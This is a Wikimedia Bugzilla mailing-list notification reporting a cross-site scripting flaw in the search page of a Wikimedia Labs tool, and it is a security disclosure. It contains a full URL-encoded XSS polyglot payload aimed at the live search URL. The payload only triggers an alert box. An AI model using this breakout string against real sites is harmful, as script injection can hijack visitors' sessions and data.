https://bugzilla.wikimedia.org/show_bug.cgi?id=44620
Web browser: --- Bug ID: 44620 Summary: http://creatorlinks.wmflabs.org cross site scripting Product: Wikimedia Labs Version: unspecified Hardware: PC OS: Windows XP Status: UNCONFIRMED Severity: normal Priority: Unprioritized Component: (other) Assignee: wikibugs-l@lists.wikimedia.org Reporter: insecurity...@gmail.com CC: benap...@gmail.com, dz...@wikimedia.org, rlan...@gmail.com, wikibugs-l@lists.wikimedia.org Classification: Unclassified Mobile Platform: --- Created attachment 11722 --> https://bugzilla.wikimedia.org/attachment.cgi?id=11722&action=edit xss xss in site url, test on firefox browser. http://creatorlinks.wmflabs.org/search.php?search=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3B+alert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--+%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E -- You are receiving this mail because: You are on the CC list for the bug. You are the assignee for the bug. You are watching all bug changes. _______________________________________________ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l